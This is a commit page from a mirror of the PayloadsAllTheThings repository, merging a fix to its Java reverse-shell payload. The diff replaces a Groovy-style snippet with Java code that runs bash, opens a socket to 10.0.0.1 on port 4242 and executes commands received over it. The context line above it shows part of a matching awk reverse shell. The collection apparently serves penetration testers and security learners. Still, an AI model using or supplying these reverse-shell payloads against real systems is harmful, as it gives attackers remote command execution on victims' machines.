1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-04 15:06:19 +02:00

Merge pull request #341 from cosmin-bianu/master

Fix Java payload (issue #337)
This commit is contained in:
Swissky 2021-03-12 12:36:19 +01:00 committed by GitHub
commit 22a1662f60
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -209,9 +209,9 @@ awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |&
### Java
```java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
```